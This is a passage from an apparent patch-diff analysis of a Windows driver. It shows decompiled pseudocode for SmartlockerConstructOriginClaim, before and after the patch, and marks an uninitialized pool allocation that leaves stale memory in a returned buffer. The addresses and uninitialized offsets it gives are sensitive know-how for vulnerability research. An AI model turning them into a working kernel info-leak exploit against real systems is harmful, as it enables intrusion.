&lt;code&gt;lock cmpxchg [r9], edx&lt;/code&gt; at &lt;code&gt;0x1C00028DC+0x32&lt;/code&gt; (&lt;code&gt;0x1C000290E&lt;/code&gt;), and on failure the &lt;code&gt;jnz&lt;/code&gt; at &lt;code&gt;0x1C0002913&lt;/code&gt; branches back to &lt;code&gt;0x1C00028FC&lt;/code&gt; to re-read and retry. That is a correct, thread-safe CAS-with-retry loop in both builds — there is no torn read and no lost update, so there is no genuine data race to fix.&lt;/p&gt;
&lt;p&gt;The patched version performs the same atomic CAS on &lt;code&gt;*arg3&lt;/code&gt; instead of on the global, plus a &lt;code&gt;lock or [r9], r10d&lt;/code&gt; fast path (&lt;code&gt;0x1C0001C89&lt;/code&gt;) when the per-descriptor bytes at &lt;code&gt;arg3+0x1d&lt;/code&gt;/&lt;code&gt;arg3+0x1e&lt;/code&gt; are set. This is a structural library change (global descriptor to per-descriptor context, a 2-argument to 3-argument ABI change across the &lt;code&gt;wil_details_*&lt;/code&gt; cluster), not a synchronization fix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (for reference):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A WIL feature-enablement check for &lt;code&gt;Feature_4060024122&lt;/code&gt; reaches the thunk &lt;code&gt;Feature_4060024122__private_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002E00&lt;/code&gt;, which (unpatched) calls &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002850&lt;/code&gt; with two arguments, inheriting the global descriptor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; reads the global descriptor, reports usage via &lt;code&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/code&gt; @ &lt;code&gt;0x1C00023EC&lt;/code&gt;, then conditionally updates the state bits via &lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; @ &lt;code&gt;0x1C00028DC&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The patched thunk &lt;code&gt;Feature_4060024122__private_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002E74&lt;/code&gt; passes its own descriptor (&lt;code&gt;lea r8, Feature_4060024122__private_descriptor&lt;/code&gt; at &lt;code&gt;0x1C0002E78&lt;/code&gt;) as the third argument, so each feature uses its own context.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;SmartlockerConstructOriginClaim (sub_1C001F138)&lt;/code&gt; — Uninitialized Pool Allocation&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED SmartlockerConstructOriginClaim (sub_1C001F138)&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmartlockerConstructOriginClaim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C001F138&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// event/type&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// stored at [buf+0x30]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DATA&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// optional: { WORD size; ...; void* data; }&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// out: allocated size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// out: allocated buffer ptr&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// BUG: larger alloc, more uninit tail&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** VULNERABILITY: no zeroing after allocation ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;smtA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_NO_MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Partial initialization — gaps retain stale pool residue&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BCryptGenRandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BCRYPT_USE_SYSTEM_PREFERRED_RNG&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// copy bytes 0x10-0x1F&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;BCryptGenRandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BCRYPT_USE_SYSTEM_PREFERRED_RNG&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x34&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global_version&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0006b80&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// copy trailing data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** bytes 0x3C-0x3F remain UNINITIALIZED ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED SmartlockerConstructOriginClaim (sub_1C001F138)&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmartlockerConstructOriginClaim_patched&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* same args */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bFeature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_965997883__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// WIL feature check&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;bFeature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// feature OFF -&amp;gt; +0x42 (original value); feature ON -&amp;gt; +0x40&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_965997883__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// feature ON path&lt;/span&gt;
